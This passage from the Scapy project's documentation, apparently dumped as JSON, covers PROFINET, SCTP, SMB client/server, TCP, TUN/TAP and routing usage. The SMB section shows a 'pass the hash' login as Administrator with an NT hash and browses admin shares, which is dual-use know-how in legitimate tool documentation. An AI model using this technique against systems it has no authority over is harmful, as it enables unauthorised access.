dst       = 06:07:08:09:0a:0b\n      src       = 00:01:02:03:04:05\n      type      = 0x8892\n    ###[ ProfinetIO ]###\n         frameID   = RT_CLASS_1 (8000)\n    ###[ PROFINET Real-Time ]###\n            \\data      \\\n             |###[ PROFINET IO Real Time Cyclic Default Raw Data ]###\n             |  data      = '\\\\x80AAA\\x00\\\\x80AAA\\x00 BBB\\\\x80'\n            padding   = ''\n            cycleCounter= 1024\n            dataStatus= primary+validData+run+no_problem\n            transferStatus= 0\n    >>> conf.contribs[\"PNIO_RTC\"].update({('00:01:02:03:04:05', '06:07:08:09:0a:0b', 0x8000): [\n    ... PNIORealTime_IOxS,\n    ... PNIORealTimeCyclicPDU.build_fixed_len_raw_type(4),\n    ... PNIORealTime_IOxS,\n    ... PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 4),\n    ... PNIORealTime_IOxS,\n    ... ]})\n    >>> e.show2()\n    ###[ Ethernet ]###\n      dst       = 06:07:08:09:0a:0b\n      src       = 00:01:02:03:04:05\n      type      = 0x8892\n    ###[ ProfinetIO ]###\n         frameID   = RT_CLASS_1 (8000)\n    ###[ PROFINET Real-Time ]###\n            \\data      \\\n             |###[ PNIO RTC IOxS ]###\n             |  dataState = good\n             |  instance  = subslot\n             |  reserved  = 0x0\n             |  extension = 0\n             |###[ FixedLenRawPacketLen4 ]###\n             |  data      = 'AAA'\n             |###[ PNIO RTC IOxS ]###\n             |  dataState = good\n             |  instance  = subslot\n             |  reserved  = 0x0\n             |  extension = 0\n             |###[ PROFISafe Control Message with F_CRC_Seed=0 ]###\n             |  data      = 'AAA'\n             |  control   = Toggle_h\n             |  crc       = 0x424242\n             |###[ PNIO RTC IOxS ]###\n             |  dataState = good\n             |  instance  = subslot\n             |  reserved  = 0x0\n             |  extension = 0\n            padding   = ''\n            cycleCounter= 1024\n            dataStatus= primary+validData+run+no_problem\n            transferStatus= 0\n\nIf no data packets are configured for a given offset, it defaults to a ``PNIORealTimeCyclicDefaultRawData``.\n"
  },
  {
    "path": "doc/scapy/layers/sctp.rst",
    "content": "****\nSCTP\n****\n\nSCTP is a relatively young transport-layer protocol combining both TCP and UDP characteristics. The `RFC 3286 <https://tools.ietf.org/html/rfc3286>`_ introduces it and its description lays in the `RFC 4960 <https://tools.ietf.org/html/rfc4960>`_.\n\nIt is not broadly used, its mainly present in core networks operated by telecommunication companies, to support VoIP for instance.\n\n\nEnabling dynamic addressing reconfiguration and chunk authentication capabilities\n---------------------------------------------------------------------------------\n\nIf you are trying to discuss with SCTP servers, you may be interested in capabilities added in `RFC 4895 <https://tools.ietf.org/html/rfc4895>`_ which describe how to authenticated some SCTP chunks, and/or `RFC 5061 <https://tools.ietf.org/html/rfc5061>`_ to dynamically reconfigure the IP address of a SCTP association.\n\nThese capabilities are not always enabled by default on Linux. Scapy does not need any modification on its end, but SCTP servers may need specific activation.\n\nTo enable the RFC 4895 about authenticating chunks::\n\n    $ sudo echo 1 > /proc/sys/net/sctp/auth_enable\n\nTo enable the RFC 5061 about dynamic address reconfiguration::\n\n    $ sudo echo 1 > /proc/sys/net/sctp/addip_enable\n\nYou may also want to use the dynamic address reconfiguration without necessarily enabling the chunk authentication::\n\n    $ sudo echo 1 > /proc/sys/net/sctp/addip_noauth_enable"
  },
  {
    "path": "doc/scapy/layers/smb.rst",
    "content": "SMB\n===\n\nScapy provides pretty good support for SMB 2/3 and very partial support of SMB1.\n\nYou can use the :class:`~scapy.layers.smb2.SMB2_Header` to dissect or build SMB2/3, or :class:`~scapy.layers.smb.SMB_Header` for SMB1.\n\n.. _client:\n\nSMB 2/3 client\n--------------\n\nScapy provides a small SMB 2/3 client Automaton: :class:`~scapy.layers.smbclient.SMB_Client`\n\n.. image:: ../graphics/smb/smb_client.png\n   :align: center\n\n\nScapy's SMB client stack is as follows:\n\n- the :class:`~scapy.layers.smbclient.SMB_Client` Automaton handles the logic to bind, negotiate and establish the SMB session (eventually using Security Providers).\n- This Automaton is wrapped into a :class:`~scapy.layers.smbclient.SMB_SOCKET` object which provides access to basic SMB commands such as open, read, write, close, etc.\n- This socket is wrapped into a :class:`~scapy.layers.smbclient.smbclient` class which provides a high-level SMB client, with functions such as ``ls``, ``cd``, ``get``, ``put``, etc.\n\nYou can access any of the 3 layers depending on how low-level you want to get.\nWe'll skip over the lowest one in this documentation, as it not really usable as an API, but note that this is where to look if you want to change SMB negotiation or session setup .(people wanting to use this are welcomed to have a look at the ``scapy/layers/smbclient.py`` code).\n\nHigh-Level :class:`~scapy.layers.smbclient.smbclient`\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nFrom the CLI\n____________\n\nLet's start by using :class:`~scapy.layers.smbclient.smbclient` from the Scapy CLI:\n\n.. code:: python\n\n    >>> smbclient(\"server1.domain.local\", \"Administrator@domain.local\")\n    Password: ************\n    SMB authentication successful using SPNEGOSSP[KerberosSSP] !\n    smb: \\> shares\n    ShareName  ShareType  Comment            \n    ADMIN$     DISKTREE   Remote Admin       \n    C$         DISKTREE   Default share      \n    IPC$       IPC        Remote IPC         \n    NETLOGON   DISKTREE   Logon server share \n    SYSVOL     DISKTREE   Logon server share \n    Users      DISKTREE                      \n    common     DISKTREE                      \n    smb: \\> use c$\n    smb: \\> cd Program Files\\Microsoft\\\n    smb: \\Program Files\\Microsoft> ls\n    FileName     FileAttributes  EndOfFile  LastWriteTime                          \n    .            DIRECTORY       0B         Fri, 24 Feb 2023 17:00:27  (1677254427)\n    ..           DIRECTORY       0B         Fri, 24 Feb 2023 17:00:27  (1677254427)\n    EdgeUpdater  DIRECTORY       0B         Fri, 24 Feb 2023 17:00:27  (1677254427)\n\n.. note:: You can use ``help`` or ``?`` in the CLI to get the list of available commands.\n\nAs you can see, the previous example used Kerberos to authenticate.\nBy default, the :class:`~scapy.layers.smbclient.smbclient` class will use a :class:`~scapy.layers.spnego.SPNEGOSSP` and provide ask for both ``NTLM`` and ``Kerberos``. but it is possible to have a greater control over this by providing your own ``ssp`` attribute.\n\n**smbclient using a** :class:`~scapy.layers.ntlm.NTLMSSP`\n\n.. code:: python\n\n    >>> smbclient(\"server1.domain.local\", ssp=NTLMSSP(UPN=\"Administrator\", PASSWORD=\"password\"))\n\nYou might be wondering if you can pass the ``HashNT`` of the password of the user 'Administrator' directly. The answer is yes, you can 'pass the hash' directly:\n\n.. code:: python\n\n    >>> smbclient(\"server1.domain.local\", ssp=NTLMSSP(UPN=\"Administrator\", HASHNT=bytes.fromhex(\"8846f7eaee8fb117ad06bdd830b7586c\")))\n\n**smbclient using a** :class:`~scapy.layers.ntlm.KerberosSSP`\n\n.. code:: python\n\n    >>> smbclient(\"server1.domain.local\", ssp=KerberosSSP(UPN=\"Administrator@domain.local\", PASSWORD=\"password\"))\n\n**smbclient using a** :class:`~scapy.layers.ntlm.KerberosSSP` **created by** `Ticketer++ <kerberos.html#ticketer>`_:\n\n.. code:: python\n\n    >>> load_module(\"ticketer\")\n    >>> t = Ticketer()\n    >>> t.request_tgt(\"Administrator@DOMAIN.LOCAL\")\n    Enter password: **********\n    >>> t.request_st(0, \"host/server1.domain.local\")\n    >>> smbclient(\"server1.domain.local\", ssp=t.ssp(1))\n    SMB authentication successful using KerberosSSP !\n\nIf you pay very close attention, you'll notice that in this case we aren't using the :class:`~scapy.layers.spnego.SPNEGOSSP` wrapper. You could have used ``ssp=SPNEGOSSP([t.ssp(1)])``.\n\n**smbclient forcing encryption**:\n\n.. code:: python\n\n   >>> smbclient(\"server1.domain.local\", \"admin\", REQUIRE_ENCRYPTION=True)\n\n.. note::\n\n    It is also possible to start the :class:`~scapy.layers.smbclient.smbclient` directly from the OS, using the following::\n\n        $ python3 -m scapy.layers.smbclient server1.domain.local Administrator@DOMAIN.LOCAL\n    \n    Use ``python3 -m scapy.layers.smbclient -h`` to see the list of available options.\n\n\nProgrammatically\n________________\n\nA cool feature of the :class:`~scapy.layers.smbclient.smbclient` is that all commands that you can call from the CLI, you can also call programmatically.\n\nLet's re-do the initial example programmatically, by turning off the CLI mode. Obviously prompting for passwords will not work so make sure the client has everything it needs for Session Setup.\n\n.. code:: python\n\n    >>> from scapy.layers.smbclient import smbclient\n    >>> cli = smbclient(\"server1.domain.local\", \"Administrator@domain.local\", password=\"password\", cli=False)\n    >>> shares = cli.shares()\n    >>> shares\n    [('ADMIN$', 'DISKTREE', 'Remote Admin'),\n    ('C$', 'DISKTREE', 'Default share'),\n    ('common', 'DISKTREE', ''),\n    ('IPC$', 'IPC', 'Remote IPC'),\n    ('NETLOGON', 'DISKTREE', 'Logon server share '),\n    ('SYSVOL', 'DISKTREE', 'Logon server share '),\n    ('Users', 'DISKTREE', '')]\n    >>> cli.use('c$')\n    >>> cli.cd(r'Program Files\\Microsoft')\n    >>> names = [x[0] for x in cli.ls()]\n    >>> names\n    ['.', '..', 'EdgeUpdater']\n\nMid-Level :class:`~scapy.layers.smbclient.SMB_SOCKET`\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nIf you know what you're doing, then the High-Level smbclient might not be enough for you. You can go a level lower using the :class:`~scapy.layers.smbclient.SMB_SOCKET`.\nYou can instantiate the object directly or via the :meth:`~scapy.layers.smbclient.SMB_SOCKET.from_tcpsock` helper.\n\nLet's write a script that connects to a share and list the files in the root folder.\n\n.. code:: python\n\n    import socket\n    from scapy.layers.smbclient import SMB_SOCKET\n    from scapy.layers.spnego import SPNEGOSSP\n    from scapy.layers.ntlm import NTLMSSP, MD4le\n    from scapy.layers.kerberos import KerberosSSP\n    # Build SSP first. In SMB_SOCKET you have to do this yourself\n    password = \"password\"\n    ssp = SPNEGOSSP([\n        NTLMSSP(UPN=\"Administrator\", PASSWORD=password),\n        KerberosSSP(\n            UPN=\"Administrator@domain.local\",\n            PASSWORD=password,\n        )\n    ])\n    # Connect to the server\n    sock = socket.socket()\n    sock.connect((\"server1.domain.local\", 445))\n    smbsock = SMB_SOCKET.from_tcpsock(sock, ssp=ssp)\n    # Tree connect\n    tid = smbsock.tree_connect(\"C$\")\n    smbsock.set_TID(tid)\n    # Open root folder and query files at root\n    fileid = smbsock.create_request('', type='folder')\n    files = smbsock.query_directory(fileid)\n    names = [x[0] for x in files]\n    # Close the handle\n    smbsock.close_request(fileid)\n    # Close the socket\n    smbsock.close()\n\nThis has a lot more overhead so make sure you need it.\n\nSomething hybrid that might be easier to use, is to access the underlying :class:`~scapy.layers.smbclient.SMB_SOCKET` in a higher-level :class:`~scapy.layers.smbclient.smbclient`:\n\n.. code:: python\n\n    >>> from scapy.layers.smbclient import smbclient\n    >>> cli = smbclient(\"server1.domain.local\", \"Administrator@domain.local\", password=\"password\", cli=False)\n    >>> cli.use('c$')\n    >>> smbsock = cli.smbsock\n    >>> # Open root folder and query files at root\n    >>> fileid = smbsock.create_request('', type='folder')\n    >>> files = smbsock.query_directory(fileid)\n    >>> names = [x[0] for x in files]\n\nLow-Level :class:`~scapy.layers.smbclient.SMB_Client`\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nFinally, it's also possible to call the underlying :attr:`~scapy.layers.smbclient.SMB_Client.smblink` socket directly.\nAgain, you can instantiate the object directly or via the :meth:`~scapy.layers.smbclient.SMB_Client.from_tcpsock` helper.\n\n.. code:: python\n\n    >>> import socket\n    >>> from scapy.layers.smbclient import SMB_Client\n    >>> sock = socket.socket()\n    >>> sock.connect((\"192.168.0.100\", 445))\n    >>> lowsmbsock = SMB_Client.from_tcpsock(sock, ssp=NTLMSSP(UPN=\"Administrator\", PASSWORD=\"password\"))\n    >>> resp = cli.sock.sr1(SMB2_Tree_Connect_Request(Path=r\"\\\\server1\\c$\"))\n\nIt's also accessible as the ``ins`` attribute of a ``SMB_SOCKET``, or the ``sock`` attribute of a ``smbclient``.\n\n.. code:: python\n\n    >>> from scapy.layers.smbclient import smbclient\n    >>> cli = smbclient(\"server1.domain.local\", \"Administrator@domain.local\", password=\"password\", cli=False)\n    >>> lowsmbsock = cli.sock\n    >>> resp = cli.sock.sr1(SMB2_Tree_Connect_Request(Path=r\"\\\\server1\\c$\"))\n\n.. _server:\n\nSMB 2/3 server\n--------------\n\nScapy provides a SMB 2/3 server Automaton: :class:`~scapy.layers.smbserver.SMB_Server`\n\n.. image:: ../graphics/smb/smb_server.png\n   :align: center\n\nOnce again, Scapy provides high level :class:`~scapy.layers.smbserver.smbserver` class that allows to spawn a SMB server.\n\nHigh-Level :class:`~scapy.layers.smbserver.smbserver`\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe :class:`~scapy.layers.smbserver.smbserver` class allows to spawn a SMB server serving a selection of shares.\nA share is identified by a ``name`` and a ``path`` (+ an optional description called ``remark``).\n\n**Start a SMB server with NTLM auth for 2 users:**\n\n.. code:: python\n\n    smbserver(\n        shares=[SMBShare(name=\"Scapy\", path=\"/tmp\")],\n        iface=\"eth0\",\n        ssp=NTLMSSP(\n            IDENTITIES={\n                \"User1\": MD4le(\"Password1\"),\n                \"Administrator\": MD4le(\"Password2\"),\n            },\n        )\n    )\n\n**Start a SMB server with NTLM auth in an AD, using machine credentials:**\n\n.. note:: This requires an active account with ``WORKSTATION_TRUST_ACCOUNT`` in its ``userAccountControl``. (otherwise you might get ``STATUS_NO_TRUST_SAM_ACCOUNT``)\n\n.. code:: python\n\n    smbserver(ssp=NTLMSSP_DOMAIN(UPN=\"Computer1@domain.local\", HASHNT=bytes.fromhex(\"7facdc498ed1680c4fd1448319a8c04f\")))\n\n**Start a SMB server with Kerberos auth:**\n\n.. code:: python\n\n    smbserver(\n        shares=[SMBShare(name=\"Scapy\", path=\"/tmp\")],\n        iface=\"eth0\",\n        ssp=KerberosSSP(\n            KEY=Key(\n                EncryptionType.AES256_CTS_HMAC_SHA1_96,\n                key=bytes.fromhex(\"0000000000000000000000000000000000000000000000000000000000000000\"),\n            ),\n            SPN=\"cifs/server.domain.local\",\n        ),\n    )\n\n**You can of course combine a NTLM and Kerberos server and provide them both over a** :class:`~scapy.layers.spnego.SPNEGOSSP`:\n\n.. code:: python\n\n    smbserver(\n        shares=[SMBShare(name=\"Scapy\", path=\"/tmp\")],\n        iface=\"eth0\",\n        ssp=SPNEGOSSP(\n            [\n                KerberosSSP(\n                    KEY=Key(\n                        EncryptionType.AES256_CTS_HMAC_SHA1_96,\n                        key=bytes.fromhex(\"0000000000000000000000000000000000000000000000000000000000000000\"),\n                    ),\n                    SPN=\"cifs/server.domain.local\",\n                ),\n                NTLMSSP(\n                    IDENTITIES={\n                        \"User1\": MD4le(\"Password1\"),\n                        \"Administrator\": MD4le(\"Password2\"),\n                    },\n                ),\n            ]\n        ),\n    )\n\n\n.. note::\n    By default, Scapy's SMB server is read-only. You can set ``readonly`` to ``False`` to disable it, as follows.\n\n\n**Start a SMB server with NTLM in Read-Write mode**\n\n.. code:: python\n\n    smbserver(\n        shares=[SMBShare(name=\"Scapy\", path=\"/tmp\")],\n        iface=\"eth0\",\n        ssp=NTLMSSP(\n            IDENTITIES={\n                \"User1\": MD4le(\"Password1\"),\n                \"Administrator\": MD4le(\"Password2\"),\n            },\n        ),\n        # Enable Read-Write\n        readonly=False,\n    )\n\n**Start a SMB server requiring encryption (two methods)**:\n\n.. code:: python\n\n   # Method 1: require encryption globally (available in SMB 3.0.0+)\n   >>> smbserver(..., REQUIRE_ENCRYPTION=True)\n   # Method 2: for a specific share (only available in SMB 3.1.1+)\n   >>> smbserver(..., shares=[SMBShare(name=\"Scapy\", path=\"/tmp\", encryptdata=True)])\n\n.. note::\n\n    It is possible to start the :class:`~scapy.layers.smbserver.smbserver` (albeit only in unauthenticated mode) directly from the OS, using the following::\n\n        $ python3 -m scapy.layers.smbserver --port 12345\n\n    Use ``python3 -m scapy.layers.smbserver -h`` to see the list of available options.\n\n\nLow-Level :class:`~scapy.layers.smbserver.SMB_Server`\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nTo change the functionality of the :class:`~scapy.layers.smbserver.SMB_Server`, you shall extend the server class (which is an automaton) and provide additional custom conditions (or overwrite existing ones).\n\n.. code:: python\n\n    from scapy.layers.smbserver import SMB_Server\n    class MyCustomSMBServer(SMB_Server):\n        \"\"\"\n        Ridiculous demo SMB Server\n\n        We overwrite the handler of \"SMB Echo Request\" to do some crazy stuff\n        \"\"\"\n        @ATMT.action(SMB_Server.receive_echo_request)\n        def send_echo_reply(self, pkt):\n            super(MyCustomSMBServer, self).send_echo_reply(pkt)  # send echo response\n            print(\"WHAT? An ECHO REQUEST? You MUUUSST be a linux user then, since Windows NEEEVER sends those !\")\n"
  },
  {
    "path": "doc/scapy/layers/tcp.rst",
    "content": "TCP\n===\n\nScapy is based on a stimulus/response model. This model does not work\nwell for a TCP stack. On the other hand, quite often, the TCP stream is\nused as a tube to exchange messages that are stimulus/response-based.\n\nAlso, Scapy provides a way to describe network automata that can be\nused to create a TCP stack automaton.\n\nThere are many ways to use TCP with Scapy\n\nUsing the kernel's TCP stack\n----------------------------\n\nScapy provides a ``StreamSocket`` object that can transform a simple\nsocket into a Scapy supersocket suitable for use with ``sr()`` command\nfamily.\n\n.. code::\n\n   >>> s=socket.socket()\n   >>> s.connect((\"www.test.com\",80))\n   >>> ss=StreamSocket(s,Raw)\n   >>> ss.sr1(Raw(\"GET /\\r\\n\"))\n   Begin emission:\n   Finished to send 1 packets.\n   *\n   Received 1 packets, got 1 answers, remaining 0 packets\n   <Raw  load='<html>\\r\\n<head> ... >\n\nUsing kernel's TCP stack means you'll depend on your local firewall's\nrules and the kernel's routing table.\n\nScapy's TCP client automaton\n----------------------------\n\nScapy provides a simple TCP client automaton (no retransmits, no SAck,\nno timestamps, etc.). Automata can provide input and output in the shape\nof a supersocket (see `Automata's documentation`_).\n\nHere is how to use Scapy's TCP client automaton (needs at least Scapy v2.1.1).\n\n.. note::\n   \n   ``TCP_client.tcplink`` is a ``SuperSocket`` subclass, therefore all its functions (``.sniff()``, ...) are available.\n\n.. code::\n\n   >>> s = TCP_client.tcplink(Raw, \"www.test.com\", 80)\n   >>> s.send(\"GET /\\r\\n\")\n   7\n   >>> s.recv()\n   <Raw  load='<html>\\r\\n<head> ... >\n\n.. note:: specifically for HTTP, you could pass ``HTTP`` instead of ``Raw``. More information over `HTTP in Scapy <http.html>`_.\n\nUse external projects\n---------------------\n\n-  `muXTCP`_ - Writing your own flexible Userland TCP/IP Stack - Ninja Style!!!\n-  Integrating `pynids`_\n\n.. _Automata's documentation: ../advanced_usage.html#automata\n.. _muXTCP: http://events.ccc.de/congress/2005/fahrplan/events/529.en.html\n.. _pynids: http://jon.oberheide.org/pynids/\n"
  },
  {
    "path": "doc/scapy/layers/tuntap.rst",
    "content": "********************\nTUN / TAP Interfaces\n********************\n\n.. note::\n\n    This module only works on BSD, Linux and macOS.\n\nTUN/TAP lets you create virtual network interfaces from userspace. There are two\ntypes of devices:\n\nTUN devices\n    Operates at Layer 3 (:py:class:`IP`), and is generally limited to one\n    protocol.\n\nTAP devices\n    Operates at Layer 2 (:py:class:`Ether`), and allows you to use any Layer 3\n    protocol (:py:class:`IP`, :py:class:`IPv6`, IPX, etc.)\n\nRequirements\n============\n\nFreeBSD\n    Requires the ``if_tap`` and ``if_tun`` kernel modules.\n\n    See `tap(4)`__ and `tun(4)`__ manual pages for more information.\n\nLinux\n    Load the ``tun`` kernel module:\n\n    .. code-block:: console\n\n        # modprobe tun\n\n    ``udev`` normally handles the creation of device nodes.\n\n    See `networking/tuntap.txt`__ in the Linux kernel documentation for more\n    information.\n\nmacOS\n    On macOS 10.14 and earlier, you need to install `tuntaposx`__. macOS\n    10.14.5 and later will warn about the ``tuntaposx`` kexts not being\n    `notarised`__, but this works because it was built before 2019-04-07.\n\n    On macOS 10.15 and later, you need to use a `notarized build`__ of\n    ``tuntaposx``. `Tunnelblick`__ (OpenVPN client) contains a notarized build\n    of ``tuntaposx`` `which can be extracted`__.\n\n    .. note::\n\n        On macOS 10.13 and later, you need to `explicitly approve loading\n        each third-party kext for the first time`__.\n\n__ https://www.freebsd.org/cgi/man.cgi?query=tap&sektion=4\n__ https://www.freebsd.org/cgi/man.cgi?query=tun&sektion=4\n__ https://www.kernel.org/doc/Documentation/networking/tuntap.txt\n__ http://tuntaposx.sourceforge.net/\n__ https://developer.apple.com/documentation/security/notarizing_your_app_before_distribution?language=objc\n__ https://developer.apple.com/documentation/security/notarizing_your_app_before_distribution?language=objc\n__ https://tunnelblick.net/downloads.html\n__ https://sourceforge.net/p/tuntaposx/bugs/28/#ac64\n__ https://developer.apple.com/library/archive/technotes/tn2459/_index.html\n\n\nUsing TUN/TAP in Scapy\n======================\n\n.. tip::\n\n    Using TUN/TAP generally requires running Scapy (and these utilities) as\n    ``root``.\n\n:py:class:`TunTapInterface` lets you easily create a new device:\n\n.. code-block:: pycon3\n\n    >>> t = TunTapInterface('tun0')\n\nYou'll then need to bring the interface up, and assign an IP address in another\nterminal.\n\nBecause TUN is a layer 3 connection, it acts as a point-to-point link.  We'll\nassign these parameters:\n\n* local address (for your machine): 192.0.2.1\n* remote address (for Scapy): 192.0.2.2\n\nOn Linux, you would use:\n\n.. code-block:: shell\n\n    sudo ip link set tun0 up\n    sudo ip addr add 192.0.2.1 peer 192.0.2.2 dev tun0\n\nOn BSD and macOS, use:\n\n.. code-block:: shell\n\n    sudo ifconfig tun0 up\n    sudo ifconfig tun0 192.0.2.1 192.0.2.2\n\nNow, nothing will happen when you ping those addresses -- you'll need to make\nScapy respond to that traffic.\n\n:py:class:`TunTapInterface` works the same as a :py:class:`SuperSocket`, so lets\nsetup an :py:class:`AnsweringMachine` to respond to :py:class:`ICMP`\n``echo-request``:\n\n.. code-block:: pycon3\n\n    >>> am = t.am(ICMPEcho_am)\n    >>> am()\n\nNow, you can ping Scapy in another terminal:\n\n.. code-block: console:\n\n    $ ping -c 3 192.0.2.2\n    PING 192.0.2.2 (192.0.2.2): 56 data bytes\n    64 bytes from 192.0.2.2: icmp_seq=0 ttl=64 time=2.414 ms\n    64 bytes from 192.0.2.2: icmp_seq=1 ttl=64 time=3.927 ms\n    64 bytes from 192.0.2.2: icmp_seq=2 ttl=64 time=5.740 ms\n\n    --- 192.0.2.2 ping statistics ---\n    3 packets transmitted, 3 packets received, 0.0% packet loss\n    round-trip min/avg/max/stddev = 2.414/4.027/5.740/1.360 ms\n\nYou should see those packets show up in Scapy:\n\n.. code-block:: pycon3\n\n    >>> am()\n    Replying 192.0.2.1 to 192.0.2.2\n    Replying 192.0.2.1 to 192.0.2.2\n    Replying 192.0.2.1 to 192.0.2.2\n\nYou might have noticed that didn't configure Scapy with any IP address... and\nthere's a trick to this: :py:class:`ICMPEcho_am` swaps the ``source`` and\n``destination`` fields of any :py:class:`Ether` and :py:class:`IP` headers on\nthe :py:class:`ICMP` packet that it receives. As a result, it actually responds\nto *any* IP address.\n\nYou can stop the :py:class:`ICMPEcho_am` AnsweringMachine with :kbd:`^C`.\n\nWhen you close Scapy, the ``tun0`` interface will automatically disappear.\n\nTunTapInterface reference\n=========================\n\n.. py:class:: TunTapInterface(SimpleSocket)\n\n    A socket to act as the remote side of a TUN/TAP interface.\n\n    .. py:method:: __init__(iface: Text, [mode_tun], [strip_packet_info = True], [default_read_size = MTU])\n\n        :param Text iface:\n            The name of the interface to use, eg: ``tun0``.\n\n            On BSD and macOS, this must start with either ``tun`` or ``tap``,\n            and have a corresponding :file:`/dev/` node (eg: :file:`/dev/tun0`).\n\n            On Linux, this will be truncated to 16 bytes.\n\n        :param bool mode_tun:\n            If True, create as TUN interface (layer 3). If False, creates a TAP\n            interface (layer 2).\n\n            If not supplied, attempts to detect from the ``iface`` parameter.\n\n        :param bool strip_packet_info:\n            If True (default), any :py:class:`TunPacketInfo` will be stripped\n            from the packet (so you get :py:class:`Ether` or :py:class:`IP`).\n\n            Only Linux TUN interfaces have :py:class:`TunPacketInfo` available.\n\n            This has no effect for interfaces that do not have\n            :py:class:`TunPacketInfo` available.\n\n        :param int default_read_size:\n            Sets the default size that is read by\n            :py:meth:`SuperSocket.raw_recv` and :py:meth:`SuperSocket.recv`.\n            This defaults to :py:data:`scapy.data.MTU`.\n\n            :py:class:`TunTapInterface` always adds overhead for\n            :py:class:`TunPacketInfo` headers, if required.\n\n.. py:class:: TunPacketInfo(Packet)\n\n    Abstract class used to stack layer 3 protocols on a platform-specific\n    header.\n\n    See :py:class:`LinuxTunPacketInfo` for an example.\n\n    .. py:method:: guess_payload_class(payload)\n\n        The default implementation expects the field ``proto`` to be declared,\n        with a value from :py:data:`scapy.data.ETHER_TYPES`.\n\nLinux-specific structures\n-------------------------\n\n.. py:class:: LinuxTunPacketInfo(TunPacketInfo)\n\n    Packet header used for Linux TUN packets.\n\n    This is ``struct tun_pi``, declared in :file:`linux/if_tun.h`.\n\n    .. py:attribute:: flags\n\n        Flags to set on the packet. Only ``TUN_VNET_HDR`` is supported.\n\n    .. py:attribute:: proto\n\n        Layer 3 protocol number, per :py:data:`scapy.data.ETHER_TYPES`.\n\n        Used by :py:meth:`TunTapPacketInfo.guess_payload_class`.\n\n.. py:class:: LinuxTunIfReq(Packet)\n\n    Internal \"packet\" used for ``TUNSETIFF`` requests on Linux.\n\n    This is ``struct ifreq``, declared in :file:`linux/if.h`.\n"
  },
  {
    "path": "doc/scapy/make.bat",
    "content": "@ECHO OFF\r\n\r\npushd %~dp0\r\n\r\nREM Command file for Sphinx documentation\r\n\r\nif \"%SPHINXBUILD%\" == \"\" (\r\n\tset SPHINXBUILD=sphinx-build\r\n)\r\nset SOURCEDIR=.\r\nset BUILDDIR=_build\r\nset SPHINXPROJ=Scapy\r\n\r\nif \"%1\" == \"\" goto help\r\n\r\n%SPHINXBUILD% >NUL 2>NUL\r\nif errorlevel 9009 (\r\n\techo.\r\n\techo.The 'sphinx-build' command was not found. Make sure you have Sphinx\r\n\techo.installed, then set the SPHINXBUILD environment variable to point\r\n\techo.to the full path of the 'sphinx-build' executable. Alternatively you\r\n\techo.may add the Sphinx directory to PATH.\r\n\techo.\r\n\techo.If you don't have Sphinx installed, grab it from\r\n\techo.http://sphinx-doc.org/\r\n\texit /b 1\r\n)\r\n\r\n%SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS%\r\ngoto end\r\n\r\n:help\r\n%SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS%\r\n\r\n:end\r\npopd\r\n"
  },
  {
    "path": "doc/scapy/routing.rst",
    "content": "*******************\nScapy network stack\n*******************\n\nScapy maintains its own network stack, which is independent from the one of your operating system.\nIt possesses its own *interfaces list*, *routing table*, *ARP cache*, *IPv6 neighbour* cache, *nameservers* config... and so on, all of which is configurable.\n\nHere are a few examples of where this is used::\n\n- When you use ``sr()/send()``, Scapy will use internally its own routing table (``conf.route``) in order to find which interface to use, and eventually send an ARP request.\n- When using ``dns_resolve()``, Scapy uses its own nameservers list (``conf.nameservers``) to perform the request\n- etc.\n\n.. note::\n    What's important to note is that Scapy initializes its own tables by querying the OS-specific ones.\n    It has therefore implemented bindings for Linux/Windows/BSD.. in order to retrieve such data, which may also be used as a high-level API, documented below.\n\n\nInterfaces list\n---------------\n\nScapy stores its interfaces list in the :py:attr:`conf.ifaces <scapy.interfaces.NetworkInterfaceDict>` object.\nIt provides a few utility functions such as :py:attr:`dev_from_networkname() <scapy.interfaces.NetworkInterfaceDict.dev_from_networkname>`, :py:attr:`dev_from_name() <scapy.interfaces.NetworkInterfaceDict.dev_from_name>` or :py:attr:`dev_from_index() <scapy.interfaces.NetworkInterfaceDict.dev_from_index>` in order to access those.\n\n.. code-block:: pycon\n\n    >>> conf.ifaces\n    Source  Index  Name  MAC                IPv4          IPv6\n    sys     1      lo    00:00:00:00:00:00  127.0.0.1     ::1\n    sys     2      eth0  Microsof:12:cb:ef  10.0.0.5  fe80::10a:2bef:dc12:afae\n    >>> conf.ifaces.dev_from_index(2)\n    <NetworkInterface eth0 [UP+BROADCAST+RUNNING+SLAVE]>\n\nYou can also use the older ``get_if_list()`` function in order to only get the interface names.\n\n.. code-block:: pycon\n\n    >>> get_if_list()\n    ['lo', 'eth0']\n\nExtcap interfaces\n~~~~~~~~~~~~~~~~~\n\nScapy supports sniffing on `Wireshark's extcap <https://www.wireshark.org/docs/man-pages/extcap.html>`_ interfaces. You can simply enable it using ``load_extcap()`` (from ``scapy.libs.extcap``).\n\n.. code-block:: pycon\n\n    >>> load_extcap()\n    >>> conf.ifaces\n    Source       Index  Name                                     Address\n    ciscodump    100    Cisco remote capture                     ciscodump\n    dpauxmon     100    DisplayPort AUX channel monitor capture  dpauxmon\n    randpktdump  100    Random packet generator                  randpkt\n    sdjournal    100    systemd Journal Export                   sdjournal\n    sshdump      100    SSH remote capture                       sshdump\n    udpdump      100    UDP Listener remote capture              udpdump\n    wifidump     100    Wi-Fi remote capture                     wifidump\n    Source  Index  Name  MAC                IPv4          IPv6\n    sys     1      lo    00:00:00:00:00:00  127.0.0.1     ::1\n    sys     2      eth0  Microsof:12:cb:ef  10.0.0.5  fe80::10a:2bef:dc12:afae\n\n\nHere's an example of how to use `sshdump <https://www.wireshark.org/docs/man-pages/sshdump.html>`_. As you can see you can pass arguments that are properly converted:\n\n.. code-block:: pycon\n\n    >>> load_extcap()\n    >>> sniff(\n    ...     iface=\"sshdump\",\n    ...     prn=lambda x: x.summary(),\n    ...     remote_host=\"192.168.0.1\",\n    ...     remote_username=\"root\",\n    ...     remote_password=\"SCAPY\",\n    ... )\n\n\nYou can check the available options by using the following.\n\n.. code-block:: 